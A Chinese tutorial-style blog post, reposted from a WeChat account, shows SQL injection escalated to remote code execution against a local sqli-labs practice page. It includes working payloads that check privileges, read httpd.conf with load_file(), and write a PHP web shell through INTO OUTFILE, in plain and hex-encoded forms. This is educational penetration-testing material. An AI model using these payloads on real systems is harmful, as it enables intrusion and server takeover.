记一次SQL注入到RCE的漏洞挖掘

admin 2023年6月5日23:14:36评论8 views字数 1202阅读4分0秒阅读模式

什么是SQL注入?

SQL 注入是一种针对使用 SQL(结构化查询语言)数据库的 Web 应用程序的攻击。攻击涉及将恶意 SQL 代码注入 Web 应用程序的输入字段,然后可以由应用程序的数据库执行。

SQL 注入攻击旨在利用应用程序代码中的漏洞,使攻击者能够访问敏感信息或操纵数据库。例如,攻击者可以使用 SQL 注入窃取用户凭据并修改或删除数据

所以有一个不同的场景,如果当前数据库用户有写权限,我们可以获得 RCE(远程代码执行)

测试开始

易受攻击的应用程序:http://localhost/sqlilabs/practice/example1.php?id=1

我要检查当前的数据库用户名以及用户是否有写权限

我将简单地调用用户函数user()来打印当前数据库的用户名

它会像那样输出

记一次SQL注入到RCE的漏洞挖掘

所以我们必须检查用户 root 是否有写权限

我们将执行查询“(select group_concat(grantee,is_grantable,0x3c62723e) from information_schema.user_privileges)”

我得到了这样的输出

记一次SQL注入到RCE的漏洞挖掘

所以我们现在有写入权限,我们可以使用outfile在服务器上写入

还有两件事 1:我们需要一个服务器路径 2:一个可写目录

对于路径泄露,我们可以尝试读取服务器上的配置文件,如httpd.conf 或 access_log等 ,这取决于 我们找到httpd.conf文件的服务器 ,我们可以获得服务器路径

现在我们将使用load_file()函数来读取“ httpd.conf”

记一次SQL注入到RCE的漏洞挖掘

读取配置文件后我们得到了服务器路径

现在我们可以使用outfile写入以在服务器上获取 RCE

http://localhost/sqlilabs/practice/example1.php?id=1' and 0 union select 1,<?php system($_GET['cmd']); ?>,3 进入输出文件 '/opt/lampp/htdocs/shell.php' - +

如果它不起作用尝试使用十六进制编码

http://localhost/sqlilabs/practice/example1.php?id=1' and 0 union select 1,0x3c3f7068702073797374656d28245f4745545b27636d64275d293b203f3e,3 into outfile '/opt/lampp/htdocs/shell.php' - +

记一次SQL注入到RCE的漏洞挖掘

记一次SQL注入到RCE的漏洞挖掘

推荐阅读:


记一次15000美金赏金的特斯拉内部账户的账户接管


干货 | 如何通过HackerOne快速提升挖洞水平和经验


记一次赏金10000美金的漏洞挖掘(从.git泄露到RCE)


实战 | 记一次SQL到接口的SSRF


2023年零基础+进阶系统化白帽黑客学习 | 4月份最新版

记一次SQL注入到RCE的漏洞挖掘

原文始发于微信公众号(HACK学习呀):记一次SQL注入到RCE的漏洞挖掘

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月5日23:14:36
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次SQL注入到RCE的漏洞挖掘https://cn-sec.com/archives/1674972.html

发表评论

匿名网友 填写信息